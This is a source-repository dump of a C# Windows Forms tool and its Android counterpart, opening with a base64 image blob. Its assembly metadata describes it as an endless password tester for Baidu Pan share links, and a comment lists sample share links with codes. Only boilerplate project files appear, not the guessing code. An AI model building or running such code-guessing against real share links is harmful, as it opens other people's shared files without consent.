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 m10LB/oAAAAASUVORK5CYII= ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Program.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; namespace zgcwkj { static class Program { /// /// 应用程序的主入口点。 /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Main()); //https://pan.baidu.com/share/init?surl=dFlOQid //lzte //https://pan.baidu.com/s/1bEeTsU //ebdf } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // 有关程序集的一般信息由以下 // 控制。更改这些特性值可修改 // 与程序集关联的信息。 [assembly: AssemblyTitle("百度网盘分享文件密码测试器")] [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("zgcwkj")] [assembly: AssemblyProduct("百度网盘分享文件密码测试器")] [assembly: AssemblyCopyright("Copyright © 2017")] [assembly: AssemblyTrademark("zgcwkj")] [assembly: AssemblyCulture("")] //将 ComVisible 设置为 false 将使此程序集中的类型 //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型, //请将此类型的 ComVisible 特性设置为 true。 [assembly: ComVisible(false)] // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")] // 程序集的版本信息由下列四个值组成: // // 主版本 // 次版本 // 生成号 // 修订号 // //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值, // 方法是按如下所示使用“*”: : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Properties/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // 此代码由工具生成。 // 运行时版本:4.0.30319.42000 // // 对此文件的更改可能会导致不正确的行为,并且如果 // 重新生成代码,这些更改将会丢失。 // //------------------------------------------------------------------------------ namespace zgcwkj.Properties { using System; /// /// 一个强类型的资源类,用于查找本地化的字符串等。 /// // 此类是由 StronglyTypedResourceBuilder // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen // (以 /str 作为命令选项),或重新生成 VS 项目。 [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// 返回此类使用的缓存的 ResourceManager 实例。 /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// 使用此强类型资源类,为所有资源查找 /// 重写当前线程的 CurrentUICulture 属性。 /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Properties/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Properties/Settings.Designer.cs ================================================ //------------------------------------------------------------------------------ // // 此代码由工具生成。 // 运行时版本:4.0.30319.42000 // // 对此文件的更改可能会导致不正确的行为,并且如果 // 重新生成代码,这些更改将会丢失。 // //------------------------------------------------------------------------------ namespace zgcwkj.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/Properties/Settings.settings ================================================  ================================================ FILE: TestPassword V1.0.0.0/TestPassword/StaticClass.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace zgcwkj { /// /// 静态类 /// public static class StaticClass { /// /// 线程状态 /// public static bool status { get; set; } /// /// 目标连接 /// public static string url { get; set; } /// /// 日记的文件名称 /// public static string Folder { get; set; } } } ================================================ FILE: TestPassword V1.0.0.0/TestPassword/TestPassword.csproj ================================================  Debug AnyCPU {AC42684F-60E0-464C-881D-B679DA8D8A7B} WinExe Properties zgcwkj 百度网盘分享文件密码测试器 v4.0 512 AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 ico.ico Form Main.cs Main.cs ResXFileCodeGenerator Resources.Designer.cs Designer True Resources.resx True SettingsSingleFileGenerator Settings.Designer.cs True Settings.settings True ================================================ FILE: TestPassword V1.0.0.0/TestPassword.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 14 VisualStudioVersion = 14.0.23107.0 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal ================================================ FILE: TestPassword V1.0.0.0 APK/.gitignore ================================================ *.iml .gradle /local.properties /.idea/workspace.xml /.idea/libraries .DS_Store /build /captures .externalNativeBuild ================================================ FILE: TestPassword V1.0.0.0 APK/.idea/gradle.xml ================================================ ================================================ FILE: TestPassword V1.0.0.0 APK/.idea/misc.xml ================================================ Android ================================================ FILE: TestPassword V1.0.0.0 APK/.idea/modules.xml ================================================ ================================================ FILE: TestPassword V1.0.0.0 APK/.idea/runConfigurations.xml ================================================ ================================================ FILE: TestPassword V1.0.0.0 APK/app/.gitignore ================================================ /build ================================================ FILE: TestPassword V1.0.0.0 APK/app/build.gradle ================================================ apply plugin: 'com.android.application' android { compileSdkVersion 26 defaultConfig { applicationId "com.zgcwkj.baidupantest.testpassword" minSdkVersion 15 targetSdkVersion 26 versionCode 1 versionName "1.0" testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } } dependencies { implementation fileTree(dir: 'libs', include: ['*.jar']) implementation 'com.android.support:appcompat-v7:26.1.0' implementation 'com.android.support.constraint:constraint-layout:1.1.0' testImplementation 'junit:junit:4.12' androidTestImplementation 'com.android.support.test:runner:1.0.2' androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2' } ================================================ FILE: TestPassword V1.0.0.0 